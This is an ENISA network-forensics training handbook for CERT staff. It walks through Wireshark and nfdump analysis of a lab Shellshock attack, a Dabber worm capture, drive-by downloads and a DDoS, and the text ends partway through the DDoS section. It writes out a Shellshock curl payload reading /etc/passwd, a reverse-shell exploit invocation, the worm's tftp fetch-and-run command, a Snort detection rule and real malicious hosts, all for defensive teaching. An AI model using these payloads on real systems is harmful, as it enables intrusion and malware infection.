About ENISA

The European Union Agency for Network and Information Security (ENISA) is a centre of network and information security expertise for the EU, its member states, the private sector and Europe’s citizens. ENISA works with these groups to develop advice and recommendations on good practice in information security. It assists EU member states in implementing relevant EU legislation and works to improve the resilience of Europe’s critical information infrastructure and networks. ENISA seeks to enhance existing expertise in EU member states by supporting the development of cross-border communities committed to improving network and information security throughout the EU. More information about ENISA and its work can be found at www.enisa.europa.eu.

Authors

This document was created by Christos Sidiropoulos, Lauri Palkmets, Cosmin Ciobanu, and Yonas Leguesse in consultation with S-CURE 1 (The Netherlands), ComCERT 2 (Poland), PRESECURE 3 Consulting, (Germany), and NASK/CERT Polska 4.

Contact

For contacting the authors please use cert-relations@enisa.europa.eu

For media enquiries about this paper, please use press@enisa.europa.eu

Legal notice

Notice must be taken that this publication represents the views and interpretations of the authors and editors, unless stated otherwise. This publication should not be construed to be a legal action of ENISA or the ENISA bodies unless adopted pursuant to the Regulation (EU) No 526/2013. This publication does not necessarily represent state-of-the-art and ENISA may update it from time to time.

Third-party sources are quoted as appropriate. ENISA is not responsible for the content of the external sources including external websites referenced in this publication.

This publication is intended for information purposes only. It must be accessible free of charge. Neither ENISA nor any person acting on its behalf is responsible for the use that might be made of the information contained in this publication.

Copyright Notice

© European Union Agency for Network and Information Security (ENISA), 2015

Reproduction is authorised provided the source is acknowledged.

---

1 Don Stikvoort and Michael Potter
2 Mirosław Maj and Tomasz Chlebowski
3 Mirko Wollenberg
4 Anna Felkner, Tomasz Grudzicki, Przemysław Jaroszewski, Piotr Kijewski, Mirosław Maj, Marcin Mielniczek, Elżbieta Nowicka, Cezary Rzewuski, Krzysztof Silicki, Rafał Tarłowski
Table of Contents

1 Introduction to the training 2

2 Introduction – server side attack 2

2.1 Task 1: Introductory scenario – “Shellshock” compromise step-by-step 3
  2.1.1 Tools necessary for carrying out this exercise 6
  2.1.2 Step-by-step demonstration 8

2.2 Task 2 Dabber attack scenario 12
  2.2.1 Preparatory notes 12
  2.2.2 Attack overview 13

3 Introduction – client side attack 15

3.1 Task 1 Drive-by download without fast flux 15
  3.1.1 Q 1 What happened? 15
  3.1.2 Q 2 Has the host been infected? 17
  3.1.3 Q 3 How is the attack being carried out? 19
  3.1.4 Q 4 What domains and IPs are involved in the attack? 19
  3.1.5 Q 5 What could we do to mitigate the attack? 19

3.2 Task 2 Drive-by download with fast flux 20
  3.2.1 Q 1 What happened? 20
  3.2.2 Q 2 Has the host been infected? 20
  3.2.3 Q 3 How is the attack being carried out? 20
  3.2.4 Q 4 What domains and IPs are involved in the attack? 21
  3.2.5 Q 5 What could we do to mitigate the attack? 21

3.3 Evaluation metrics 21

4 Part 3 netflow analysis 22

4.1 Preparatory notes 22

4.2 Task 1 DDoS analysis step-by-step 22
  4.2.1 Q 1 When did the attack begin 22
  4.2.2 Q 2 What is being attacked? 23
  4.2.3 Q 3 What IPs are involved in carrying out the attack? 29
  4.2.4 Q 4 How is the attack being carried out? 30
  4.2.5 Q 5 Where did the attack come from? 32

4.3 Task 2 DDoS analysis – Do It Yourself 32

5 Summary of the exercise 33

6 References 33
| **Main Objective** | The objective of the exercise is to familiarize students with standard network monitoring tools, their output and applications for the analysis of network security events. As a result, students will be able to interpret the security context of collected network data, thus enabling the post-mortem analysis of security incidents. |
| **Targeted Audience** | Technical CERT staff |
| **Total duration** | 6-7 hours |
| **Time Schedule** | **Introduction to the training** 0.5 hour |
| | Introductory scenario – “Shellshock” exploitation 1 hour |
| | Dabber scenario 1 hour |
| | Drive-by download without fast flux 1 hour |
| | Drive-by download with fast flux 1 hour |
| | DDoS analysis 2 hours |
| | Summary 0.5 hour |
| **Frequency** | Every time a new member joins the team. |
1 Introduction to the training

The training should be performed as a ‘hands-on’ class. A short introduction to the field of network forensics should be made. A set of security incident packet traces should be given for analysis. Each packet trace involves a different security scenario, which is presented to the students. For each scenario the goal is to identify security information relevant to a particular incident – in the context of an attacked and attacking host or application. It is recommended that the traces include not just malicious traffic but benign traffic as well, so as to mirror real life conditions. The packet traces should be in packet capture (pcap) format and in the form of netflow samples. Traces in the pcap format should include examples of full packet payload captures. The students should be allowed access to the Internet and encouraged to use search engines to facilitate their analysis. This handbook contains six examples of attack scenarios. You are encouraged to create your own.

Because of the technical nature of this training, it is advisable that you, as the trainer, have a lot of experience with analysing packet and flow traces. The examples in the handbook are detailed so as to help you as much as possible.

Students require access to the Virtual Image, which contains all the tools and logs necessary for carrying out the training. The tools needed for each scenario are listed in the handbook sections devoted to the scenarios.

Give a short introduction as to why network forensics is important for CERTs. Proceed then with the outline of the training.

At the beginning, introduce students to the training, outlining its main parts, introduce the tools used and how the training will be carried out. This training consists of three main parts:

- PART 1: pcap trace analysis – server side attack;
- PART 2: pcap trace analysis – client side attack; and
- PART 3: Netflow analysis.

Each part consists of two separate scenarios – tasks that need to be carried out.

2 Introduction – server side attack

The training is divided into two separate scenarios (tasks):

- a demonstration performed by the teacher as the introductory scenario; and
- network forensics skills training with logs of a real attack.

The demonstration prepared for the teacher covers the whole process of the compromise of a server side service. The attack is based on the well known Bash (Unix shell) vulnerability (CVE-2014-6271) that was published on September 2014, commonly known as “Shellsock”. The vulnerability allows remote attackers to execute arbitrary code. During the demonstration an upatched version of Bash is used (4.3-6ubuntu1) as well as Apache 2.4.7 web server configured to server a simple “Hello World” Common Gateway Interface (CGI) script.

During the process, Wireshark network analyser should be used. Wireshark will capture all the packets that were received and transmitted on a particular network interface. For a one-machine

---

Footnote:

5 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271
Presentation, the loopback interface is used. The next step in the training is a discussion of the consequent stages of the attack – as seen through Wireshark.

For the following part of the training, traffic captured on a real Honeynet system is used. This traffic contains an example of a Dabber worm attack. Using these logs, students will have to demonstrate their skills at using a network analyser such as Wireshark and applying its filters to extract consecutive attack stages. Trainer should play the role of a mentor, assisting students and answering their questions.

2.1 Task 1: Introductory scenario – “Shellshock” compromise step-by-step

The main goal of this part of the training is to familiarize students with an example of an attack demonstrated on a vulnerable HTTP server. The scenario presented in this example is quite common, especially when dealing with attacks carried out automatically, such as worm and botnet infections.

The software and environment prepared for the exercise will allow you to demonstrate an attack in real-time. The exact course of the attack can be seen in the data captured by a network sniffer, such as Tcpdump or Wireshark.

The ability to select relevant packets and track connections in pcap dumps is an essential skill in the field of network forensics. The most basic and common cases of filter rules used include:

- filtering connections from certain hosts,
- filtering requests targeted to specific servers or services in a specified period of time, and
- filtering packets by protocol, content and the values of specific protocol fields.

Knowledge of how to write basic filters is usually sufficient to retrieve most of information needed. Students are expected to become familiar with the syntax of the rules. This skill is to be mainly assessed in this and during the following parts.

It is recommended that this part would be demonstrated real-time. This will raise awareness among students of how ‘script kiddies’ would be able to launch attacks. If, for some reason, a real time presentation of the attack is not possible, the Virtual Image contains a pcap (/data/exploit/exploit.pcap) file containing a captured attack. You can find all of the required commands in /home/enisa/Desktop/commands.txt.

For the demonstration of the attack, following applications are used:

- a vulnerable version of Bash,
- an Apache web server running mod_cgi and,
- an exploit for the HTTP server.

Prior to using the exploit we can demonstrate the web server compromise through the command line interface.

First ensure that Apache web server is running issuing the following commands.

```
enisa@enisa-vm:~$ sudo -i
root@enisa-vm:~# service apache2 status
* apache2 is running
root@enisa-vm:~#
```

Figure 1: Checking Apache web server status.
Open the Firefox Web Browser and navigate to http://localhost/cgi-bin/index.cgi

---

**Hello World**

*Figure 2: Content of web page.*

To exploit the Bash bug a malicious string through the HTTP agent header will be sent. For this, curl would be used. First, try without sending a custom User Agent.

```bash
enisa@enisa-vm:$ curl http://127.0.0.1/cgi-bin/index.cgi
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Hello World</title>
</head>
<body>
Hello World
</body>
</html>
enisa@enisa-vm:$
```

*Figure 3: Using Curl to see the contents of web page*

Without altering the user agent, expected “Hello world” html page is seen. Now spoofed User Agent that exploits the Bash vulnerability is sent out.

During the example Curl with “-A” flag is used and accompanied with user agent named “Shellshock” used. In current case /bin/cat is used to display the contents of the /etc/passwd file. This file contains all the usernames of the victim machine.

Issue the following command.

```bash
curl -A "() { Shellshock;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://127.0.0.1/cgi-bin/index.cgi
```

*Figure 4: Exploitation through curl custom http agent.*

If Apache access logs are investigated malicious GET requests can easily be identified. To check the logs issue the following command.

```
~$ sudo cat /var/log/apache2/access.log
```
On the first line, there is the normal request with the user agent defined as “curl” and on the second one the malicious user agent we used to exploit the server.

Same attack can be done with the Firefox browser by altering the user agent. We have installed the “User Agent Switcher” add-on that enables Firefox to switch between different user agents. Open up http://localhost/index-cgi/index.cgi and select “Shellshock” as user agent from the drop down list as shown in Figure 6.

If you refresh the webpage with the malicious user agent you should get the contents of /etc/passwd as shown in Figure 7.

---

6 https://addons.mozilla.org/el/firefox/addon/user-agent-switcher/
2.1.1 Tools necessary for carrying out this exercise

The following are the tools necessary for conducting this exercise. These tools can be found on the Virtual Image.

- Apache http server,
- Vulnerable Bash version,
- exploit (/data/exploit),
- Wireshark

For the demonstration an exploit published by morxploit.com\(^7\) that exploits the Apache web server running mod_cgi with a vulnerable version of bash is used. The way it operates is similar to the example described before but this time the payload is sent through the http referer. After the payload is sent a shell connecting back is opened.

First open up Wireshark and select the loopback interface for capturing as shown in Figure 8. Loopback interface is used because the attacker and the victim in our use case are the same box.

\(^7\) http://packetstormsecurity.com/files/128443/morxbash.pl.txt
If the same Curl commands as before are used a http GET request with the custom User-Agent can be seen.

If you right click on this GET request and click on “Follow TCP stream” you can clearly see the GET request and that the reply is the contents of `/etc/passwd` instead of the actual web page.
Finally if you want to filter all http GET requests you can use the `http.request.method` filter as shown in Figure 11.

```
Filter: http.request.method == "GET"
```

![Figure 10: Following TCP stream in Wireshark.](image)

![Figure 11: Filtering http request method in Wireshark.](image)

### 2.1.2 Step-by-step demonstration

Once introduction to the topic is completed, a step-by-step demonstration of an example attack should be shown. The students can access all the files and should be encouraged to follow actions and ask questions.

Now let’s investigate the exploit. Open Wireshark or clear data from the previous capture and start a new capture on the loopback interface. Run the exploit issuing the following command.

```
perl /data/exploit/morxbash.pl http://localhost/cgi-bin/index.cgi 127.0.0.1 54321
```

Exploit accepts the following arguments:

- webpage address,
- location of cgi script,
- connect back ip,
- connect back port.
As indicated in Figure 12 the exploit is successful and connection towards the victim machine as the user running the Apache web server (www-data) is established.

When moving towards Wireshark capture as illustrated in Figure 13 mostly http activity can be seen.

If HTTP GET requests are filtered, two GET requests can be seen.

The first GET request returns “Hello world” page. This is done by the exploit before sending the payload to make sure that the page responds.
During the second GET request exploit sends the payload through the http referer.

Figure 15: Following TCP stream in Wireshark.

Figure 16: Following TCP stream in Wireshark.
It can be seen that after the payload is sent, the victim connects back to the attacker machine at the port we have set when issuing the exploit (54321).

![Figure 17: Exploit packet sequence in Wireshark.](image)

If the TCP stream of the shell connecting back is followed typed commands can be seen.

![Figure 18: Following TCP stream in Wireshark.](image)

From this point, the attacker can operate as the user running the Apache web server. Depending on the rights of this user has, he can even gain root to the victim machine and have full control of it.

From the process list, we can see the command that opened the Perl shell.

```
$ sudo ps aux
```

![Figure 19: Process list.](image)
In addition, if Apache error log is checked attack traces are present there as well.

```
$ sudo tail /var/log/apache2/error.log
```

Lastly, a Snort rule that triggers every time an attempt to exploit above mentioned bash vulnerability happens has been set up.

```
alert tcp any any -> any $HTTP_PORTS (msg:"Shellsock attempt!"; content:"("; sid:408880;
```

Rule can be checked under /etc/snort/rules/local.rules

Figure 20: Apache error log.

Figure 21: Rule match in Snort.

### 2.2 Task 2 Dabber attack scenario

The next exercise is for the students to perform by themselves. The students are expected to analyse the log files by themselves and explain what is happening. They should identify the stages of the attack as described below, locate the shellcode, and explain how the attack ended. Why did it end the way it did? Below you will find some answers that will help you help the students.

#### 2.2.1 Preparatory notes

The actions of the Dabber worm were first observed in 2004. This worm exploits a vulnerability in the FTP server of the Sasser worm. Consequently, to be infected by Dabber, a machine has to be already infected by Sasser. Sasser is a worm attacking systems from the Windows family. Sasser runs an FTP server on port 5554 of exploited machines which is used to download the worm after a successful initial exploitation.

Dabber scans on port 5554 to find Sasser infected hosts. When it finds and exploits one, the Windows command shell is temporarily bound to port 8967. This shell is used to issue the following command:

```
tftp –I [infecting host ip] GET hello.all package.exe &package.exe & exit
```

The TFTP server is built into Dabber and is used to transfer the executable file of the worm to the target system. When the command is issued, a file ‘package.exe’ will be copied to the victim and executed.
From a network standpoint, the exploit process looks slightly more complicated. The worm connects to port 5554 a few times. The first connection is used to send a single byte (in our case it is ASCII ‘D’). If the connection is successful, it will reconnect and send the exploit. We can also observe that the worm attempts a connection to port 9898. This would be successful on a real compromised machine. However, as this case was captured on a honeynet, exploitation did not cause this port to be opened. Dabber uses port 9898 to recognize infected hosts.

2.2.2 Attack overview

Students are provided with the Dabber pcap file which contains packets from a real example of an attack. Analysis of the attack with Wireshark and appropriate filters is to be performed. The attack consists of the following stages:

- Scanning for port 5554;
- Test connection to port 5554 with 1-byte data;
- Reconnect and send the exploit; and
- Interaction with a shell bound to port 8967.

The exercise will start with the analysis of traffic targeted to port 5554. On Wireshark select File→Open and select the dabber.pcap from /data/dabber/. First, proper packets should be filtered (use filter tcp.port == 5554):

As it can be seen, the amount of traffic targeted to port 5554 is quite significant. Packets that carry data can be singled out using the filter:

```
tcp.port == 5554 and data
```
This filter will display packets that were sent to the FTP server and carried any data. Let us have a closer look at packet numbers 51, 56 and 65 that were the first packets transmitted with data. These packets were used to check if the host had been infected by Sasser. Click on follow TCP Stream on any of these packets and it can be seen that it sends out the ASCII char ‘D’.

Next it is known that dabber sends the payload to the victim. Following filter is used.

\[
\text{ip.src == 70.237.254.204 and tcp.flags.ack == 1 and data and tcp.flags.push == 0}
\]

- \text{ip.src == 70.237.254.204}: filter attacker ip
- \text{tcp.flags.ack == 1}: filter ACK tcp flags, ACK tcp flag acknowledges that it has received data
- \text{data}: filter packets with data only
- \text{tcp.flags.push == 0}: filter PSH tcp flags, PSH tcp flag informs the receiving host that the data should be pushed up to the receiving application

Next it is known that dabber opens a shell on port 8967 so destination port 8967 that containes the PUSH tcp flag will be filtered.

\[
\text{tcp.disport == 8967 and tcp.flags.push == 1}
\]
If TCP stream of packet 151 is followed, command that was sent to the shell can be seen.

![TCP stream screenshot](image)

**Figure 27: TCP stream**

### 3 Introduction – client side attack

The second part of the exercise involves scenarios that include client side drive-by-download attacks. This section gives a short introduction to these kinds of attacks. The pcap files that contain these attacks can be found on the Virtual Image `/data`. Students are required to perform the exercises answering the following questions:

- a) What happened (step-by-step)?
- b) Has the host been infected? If yes, what type of malware is it?
- c) How is the attack being carried out?
- d) What domains and IPs are involved in the attack? Is there any possibility of fast-flux?
- e) How could we mitigate the attack?

The students should use the knowledge acquired from the previous sections of the exercise to analyse these attacks properly.

#### 3.1 Task 1 Drive-by download without fast flux

The first exercise deals with a drive-by download from a non-fast flux domain. The pcap file: `/data/drive-by-non-fast-flux/drive-by-download_t.pcap` can be analysed using Wireshark or tshark.

#### 3.1.1 Q 1 What happened?

The pcap packet 4 shows that:

1. client host IP is 10.0.0.130, and
2. DNS-server is 10.0.0.2.

![DNS response screenshot](image)

**Figure 28: DNS response in Wireshark.**
Note:

There are three other connections (all benign):

- connection to www.cert.pl (195.187.7.66),
- connection to www.nask.pl (193.59.201.62), and
- connection to urs.microsoft.com via HTTPS (213.199.161.251).

Filter http connections that were sent from hosts other than the benign ones.

```plaintext
```

This shows that there are some text/html packets and packets 602,714 and 806 carry application type stream.

Packet 201 has http response status “302 Found” which is used to redirect url. Following the TCP stream shows the http headers redirecting to jezl0.com.
A handy filter to identify all pages containing a certain string is the following:

\[ \text{data-text-lines contains "javascript"} \]

3.1.2 Q 2 Has the host been infected?

There were three suspicious W32 binary file downloads from two different sites. In the first case, two files of different sizes were downloaded (the first one was smaller – about 13KB, and the second one larger – about 99KB). In the second case there was one download (file size was about 26KB).

There is a high probability that the downloaded files are W32 infected EXEs.

The previous chapter showed three application packets which can be filter as follows:

\[ \text{http.content_type == "application/octet-stream"} \]

Next select the packet go to “Media Type” and right click on “Export selected bytes” as show in Figure 33.
Figure 33: Export selected bytes from Wireshark.

Checking the exported files against virustotal.com scan engine shows that all three files are detected as Trojans.

Figure 34: Virustotal scan.
3.1.3 Q 3 How is the attack being carried out?

Strongly obfuscated JavaScripts (multiple) and ‘iframe’ tags (once) are used to redirect to the next hop and set cookies or other markers/stamps/variables. Some Javascript scripts are located in the HEAD section of the HTML file and their functions have been triggered with special arguments via ‘onload’ events in the BODY section of the HTML file.

3.1.4 Q 4 What domains and IPs are involved in the attack?

WWW.homebank.pl is the only site our client host visited intentionally. Its IP resolves to 212.85.111.79 and the DNS-server response shows that this was not fast-flux.

Next the client host was redirected to two different sites, winhex.org/tds/in.cgi?3 (85.255.120.194, no fast-flux) and 1sense.info/t/ (211.95.72.85, no fast-flux), and from them redirected again to , jezlo.com (66.232.114.139, no fast-flux) and 72.36.162.50. The malware was probably downloaded directly from the last two sites.

There do not seem to be examples of fast-flux.

3.1.5 Q 5 What could we do to mitigate the attack?

The attack could be mitigated by black holing IPs from which the malware was downloaded directly (66.232.114.139 and 72.36.162.50). There is a possibility that these IPs change (in the middle of the redirection process). The first site (www.homebank.pl, 212.85.111.79) could also be black holed, but this site might actually be a victim of an attack (XSS, SQL-injection, etc.) and its ‘malicious function’ is not permanent. Another option is to blackhole IPs that are in the middle of a redirection process.
(85.255.120.194, 66.232.114.139). They are pointing to servers which are hosting malicious files. The pointers (that redirect to malware-hosted sites) may change.

We could also blacklist sites (domain names) in the same scenario as above (ie, DNS blackholing).

3.2 Task 2 Drive-by download with fast flux

In this task, the students should perform the investigation in a similar manner to the previous scenario. The necessary file (drive-by-download_fast-flux.pcap) can be found on the Virtual Image.

3.2.1 Q 1 What happened?

The pcap file shows that:

1. client host IP is 10.0.0.130, and
2. DNS-server is 10.0.0.2.

Note:

There are three other benign connections:

- connection to www.cert.pl (195.187.7.66),
- connection to www.nask.pl (193.59.201.62), and
- connection to urs.microsoft.com via HTTPS (213.199.161.251).

This traffic should be treated like background traffic, so it is strongly recommended to filter it.

In Wireshark, use the following filter:

```plaintext
!(ip.dst == 195.187.7.66) || (ip.src == 195.187.7.66)
|| (ip.dst == 193.59.201.62) || (ip.src == 193.59.201.62)
|| (ip.dst == 213.199.161.251) || (ip.src == 213.199.161.251))
```

3.2.2 Q 2 Has the host been infected?

A suspected W32 binary file was downloaded from www.adsitelo.com/ad/load.php (99.234.157.198). There is a strong possibility that the downloaded file was a W32 malware EXE (file size about 52224 bytes). From the pcap file it can be seen that the name of the downloaded file is exe.exe (HTTP header ‘Content-Disposition’). The binary file body shows: ‘Original Filename aspimgr.exe’.

Wireshark can be used to find where the download of the binary file ends and TCP segments are reassembled (packet number 568). The file can be saved by selecting ‘export selected bytes’ on the ‘Media Type’ section and save as an .exe file. The executable can be uploaded for analysis to VirusTotal <www.virustotal.com>, or/and Anubis http://anubis.iseclab.org/index.php.

Next, there were several connections (after the download ended). The first was to ns.uk2.net 83.170.69.14 to 53/TCP destination port (?!). The next was to yahoo.com (reset by client host), and the next to web.de (reset by client host). After that, the client host connected to 216.150.79.226 and sent some data to php script forum.php (POST method, file debug.txt), and then downloaded common.bin which is a suspicious file.

3.2.3 Q 3 How is the attack being carried out?

In the attack the following redirection methods and obfuscation was used:
HTTP message 302 (moved temporarily).
HTTP message 301 (moved permanently).
Strongly obfuscated JavaScript. Its functions have been triggered with special arguments via an ‘onload’ event in the BODY section. These <SCRIPT> and <BODY> tags are located before the <HTML> tag! In the <HTML> tag (below these two) there is a fake 404 message with the text: ‘The requested URL /index.php were not found on this server. Additionally, a 404 Not Found error was encountered while trying to use an Error Document to handle the request’.
After the binary file download was completed, the client sent some data (debug.txt) to the php script (forum.php) via the POST method. In reply, the client received a suspicious common.bin file.

3.2.4 Q 4 What domains and IPs are involved in the attack?
bigadnet.com is the only site that the client host visited intentionally. As can be seen from the DNS-server response, this was fast-flux and the sites IPs are: 91.98.94.45, 69.66.247.232, 80.200.239.235, 84.10.100.196, 122.128.253.14, 85.226.168.12, 98.227.46.217, 119.30.67.167, 68.200.236.117, etc. The client host established a connection to the first IP in the DNS response (91.98.94.45).
Next, the client host was redirected to www.adsitelo.com. It is also a fast-flux site and the sites IPs are: 12.207.51.110, 76.189.90.19, 99.234.157.198, 66.40.18.206, 76.121.239.20, 74.164.85.5, 99.246.193.180, etc. The client host established a connection to the 3rd IP (99.234.157.198). The first two connection attempts to the earlier IPs failed. The malware was downloaded from this host.
Next, the client host connected to 216.150.79.226, sent some data (DEBUG..TXT) to forum.php, and received some suspicious data (COMMON.BIN).

3.2.5 Q 5 What could we do to mitigate the attack?
Blackholing an IP from which the malware was downloaded directly (91.98.94.45) is not a good idea because the miscreants use fast-flux. Even if you blackhole all IPs that replied from the DNS servers, there is a possibility that new IPs will appear. These IPs are most probably the victims of attack (zombie PCs). There is only one IP that was not fetched from a NS server: 216.150.79.226 – and this IP could be black holed. It is better to blacklist domain names: bigadnet.com and www.adsitelo.com.

3.3 Evaluation metrics
Below are some suggested metrics for this part of the exercise:
Students MUST:
- know the host IP and that three binary files (W32) were downloaded; and
- know the IP and domain names involved in the attack. NOTE: the benign sites (legal traffic) should also be known.

Students SHOULD:
- know how the attack was carried out;
- sketch the proceedings (flow chart?) of the attack (as in the PDF files on the DVD);
- generate a filter in Wireshark that gives a clear view of the malicious traffic; and
- be able to identify whether fast-flux service networks were involved.

Students COULD:
- present ideas on how to prevent further attacks; and
• attempt to research malicious JavaScripts (how they work), gathering any information about the binary file and its body from the pcap file using Wireshark, extracting binaries to .exe files and analysing them, etc, although this is beyond the scope of this particular exercise.

4 Part 3 netflow analysis
The aim of the netflow scenarios is to familiarize students with the concept of netflow and introduce them to tools that facilitate flow interpretation. Even though netflow does not allow for the examination of packet content, it is a useful mechanism for network forensics, allowing a unique view of what the activities seen at the router level. Netflow can be used to discover and examine DDoS attacks, worm infections, and scanning activity, to verify incident reports and obtain hints as to how a host was compromised and its subsequent behaviour may be monitored, etc.

4.1 Preparatory notes
This part should start off with an introduction to netflow, and how it works.

The scenarios require computers capable of running the virtual image provided. This installation has a set of tools and netflow logs that allow the exercises to be carried out. The tools used are nfdump and NFSen (developed by SWITCH) which have been configured for the scenarios. The netflow logs are logs of real attacks that have been anonymized. These logs feature a mixture of malicious and benign traffic. Some basic knowledge in analysing flows and the nfdump/NFSen tools is required.

As in the previous parts, this part is split into two different scenarios (tasks); both are DDoS attacks.

4.2 Task 1 DDoS analysis step-by-step
A netflow collector installation is configured with a profile for monitoring a specific IP space. The students play the role of an administrator working for an ISP that has received a report about a DDoS being carried out against a customer. The administrator is expected to:

a) identify when the attack began;
b) identify what is actually being attacked;
c) identify what IPs are involved in carrying out the attack;
d) identify the way the attack is being carried out;
e) identify where the attack came from; and
f) suggest ways of mitigating the attack at the ISP level.

What follows is a step-by-step analysis of the above tasks. The analysis can be done with nfdump/NFSen by either utilizing the command line interface (more suitable for bulk processing) or the graphic interface. Examples of using both interfaces are presented.

Start nfsen issuing the following command.

```sh
~#: sudo /data/nfsen/start.sh
```

4.2.1 Q 1 When did the attack begin
GUI: Open the web-browser and go to http://localhost/nfsen/nfsen.php. The ‘Graphs’ tab provides a more user friendly view. Notice a huge increase near Feb 24 2007 04:00:
Overview Profile: live, Group: (nogroup)

Figure 37: Network graph

CLI: in the directory /data/nfsen/profiles-data/live/upstream list the netflow files (nfcapd.*): use ls –l (or more human-readable: ls –lh)

It is clear that, starting from 200702240400, the files are suddenly bigger than before (before – about 100-200 KB; from 200702240400 – bigger than 10 MB). Near 200702241050 the files are getting smaller, but still unusually big (about 6 MB). From about 200702241605, the size of the files seems to drop to normal levels.

So, the attack began around 4:00 on 24th February 2007.

4.2.2 Q 2 What is being attacked?

GUI:

In order to identify what is being attacked, it is useful to analyse the details of the graphs and TOP N statistics, generated both after and before the attack. Graphs and TOP N statistics generated before the attack started can be treated as a baseline for comparison with later analysis.

Go to the ‘Details’ tab (1). Pick ‘Time Window’ from the list in ‘Select’ field up (2). On the graph, select an area (3) that looks like normal activity – before the attack started. This is from around Feb 23 2007 20:00 to Feb 24 2007 03:50. Look at the statistics (4) for this timeslot. (Also use the ‘Sum’ radio button.) This shows most of the activity was TCP.
Next, select an area on the graph that looks like the attack (from Feb 24 2007 04:00 to about Feb 24 2007 16:05). The statistics say that most of the activity (flows, packets and traffic) was UDP.

Netflow processing can help to figure out what is being attacked. Reduce the time window to accelerate this process. In this example the timeslot was Feb 24 from 04:00 to 09:00 according to the top 10 statistics about the destination IP ordered by flows, packets, bytes or bits per second (bps). The screen below shows the statistics generated by the packets.
Netflow Processing

Source: upstream
Filter:
and (none)

Options:
- List Flows
- Stat TopN

Top:
- 10

Stat:
- DSTIP Address

Limit:
- Packets > 0

Output:
- / IPv6 long

```
** nfdump -M /data/nfсен/profiles-data/live/upstream -T -R nfcapd.200702240400:nfcapd.200702240900 -n 10 -s dstip/packets
nfdump filter:
any

Top 10 DST IP Addr ordered by packets:

<table>
<thead>
<tr>
<th>Date first seen</th>
<th>Duration Proto</th>
<th>DST IP Addr</th>
<th>Flows</th>
<th>Packets</th>
<th>Bytes</th>
<th>pps</th>
<th>bps</th>
<th>bpp</th>
</tr>
</thead>
<tbody>
<tr>
<td>2007-02-24 03:59:35.944</td>
<td>4313126.161</td>
<td>195.88.49.121</td>
<td>17.4 M</td>
<td>2.5 G</td>
<td>72.0 G</td>
<td>618</td>
<td>143433</td>
<td>29</td>
</tr>
<tr>
<td>2007-02-24 03:58:39.622</td>
<td>4312986.298</td>
<td>195.88.49.125</td>
<td>7720</td>
<td>68157</td>
<td>11.1 M</td>
<td>0</td>
<td>21</td>
<td>170</td>
</tr>
<tr>
<td>2007-02-24 03:55:36.256</td>
<td>4313346.046</td>
<td>195.88.49.97</td>
<td>21602</td>
<td>57832</td>
<td>7.2 M</td>
<td>0</td>
<td>13</td>
<td>129</td>
</tr>
<tr>
<td>2007-02-24 03:59:38.505</td>
<td>4312597.789</td>
<td>195.88.49.129</td>
<td>10783</td>
<td>36165</td>
<td>5.4 M</td>
<td>0</td>
<td>10</td>
<td>156</td>
</tr>
<tr>
<td>2007-02-24 03:59:40.499</td>
<td>4312858.458</td>
<td>195.88.49.135</td>
<td>3289</td>
<td>13724</td>
<td>4.2 M</td>
<td>0</td>
<td>8</td>
<td>321</td>
</tr>
<tr>
<td>2007-02-24 04:03:28.804</td>
<td>4310880.836</td>
<td>195.88.49.34</td>
<td>257</td>
<td>5732</td>
<td>1.8 M</td>
<td>0</td>
<td>3</td>
<td>264</td>
</tr>
<tr>
<td>2007-02-24 04:03:17.477</td>
<td>4308148.772</td>
<td>195.88.49.123</td>
<td>5964</td>
<td>6009</td>
<td>1.1 M</td>
<td>0</td>
<td>2</td>
<td>187</td>
</tr>
<tr>
<td>2007-02-24 03:59:32.576</td>
<td>18138.613</td>
<td>212.112.229.71</td>
<td>399</td>
<td>5321</td>
<td>202823</td>
<td>0</td>
<td>129</td>
<td>55</td>
</tr>
<tr>
<td>2007-02-24 04:02:04.831</td>
<td>17995.756</td>
<td>212.248.213.161</td>
<td>632</td>
<td>4596</td>
<td>248672</td>
<td>0</td>
<td>110</td>
<td>54</td>
</tr>
</tbody>
</table>

Summary: total flows: 18369305, total bytes: 72.1 G, total packets: 2.5 G, avg bps: 143573, avg pps: 618, avg bpp: 29
Total flows processed: 18369305, Records skipped: 0, Bytes read: 955227040
Sys: 5.512 flows/second: 1931091.1 Wall: 43.5673 flows/second: 441912.3

Figure 40: Network statistics

The stats of the flow records can be used with the dstIP aggregated:
195.88.49.121 is probably the attack target.

This identifies the potential target of the attack and – from the earlier analysis – it is clear that the attack was performed via UDP traffic. If in doubt about UDP traffic, netflow processing can be used: top 10 with protocol aggregation and the ‘dst host 195.88.49.121’ filter. It is clear that the UDP activity (packets, bytes, flows) is huge when compared with other protocols.
Next, identify the role of the attacked server. Change the time window (area in the graph) to some time before the attack and generate statistics of flow records (ordered by flows) with the `dst host 195.88.49.121` filter.
Figure 43: Network statistics

Almost all traffic to this server was 80/TCP, so this is probably a WWW server. The goal of the DDoS may be to disable the site.

Conclusion:

The attack was DoS or DDoS performed via UDP traffic and was targeted on a WWW server (195.88.49.121).

Perform a similar analysis on the command line interface:

CLI:

In order to identify what is being attacked, it is useful to start with the general TOP N traffic statistics, generated both after and before the attack started. TOP N statistics generated before the attack started can be treated as a baseline for comparison with later statistics.

Go to the `/data/nfsen/profiles-data/live/upstream1` directory.

For example, the following general TOP N queries can be performed:

Before the attack:

```
sudo nfdump -R nfcapd.200702232000:nfcapd.200702240350 -s record/flows -o long
```

```
** nfdump -M /data/nfsen/profiles-data/live/upstream1 -T -R nfcapd.200702232000:nfcapd.200702240350 -n 10 -s record/flows -o long
```

**nfdump** is a network forensics tool that allows for detailed analysis of network traffic. It can be used to filter traffic by specific criteria, such as source and destination IP addresses, port numbers, and protocol types. The tool can generate reports on various traffic metrics, such as the number of flows, packets, bytes, and bandwidth usage. This information can be used to detect and analyze network attacks, as demonstrated in the example above.
After the attack started: (The time window can be reduced to accelerate this process; this example uses nfcapd.200702240400 to nfcapd.200702240900.)

```
sudo nfdump -R nfcapd.200702240400:nfcapd.200702240900 -s record/flows/bytes/packets/bps
```

Comparing the two queries shows that a lot of TOP N UDP traffic to many ports at 195.88.49.121 suddenly appeared. UDP traffic to such ports is anomalous, especially coming from a single IP.

### 4.2.3 Q 3 What IPs are involved in carrying out the attack?

**GUI:**

A quick way of checking what IPs may be involved in an attack against an IP is to generate statistics filtered towards that specific destination IP. In this case we can filter for TOP N attacking source IPs based on flows against 195.88.49.121.

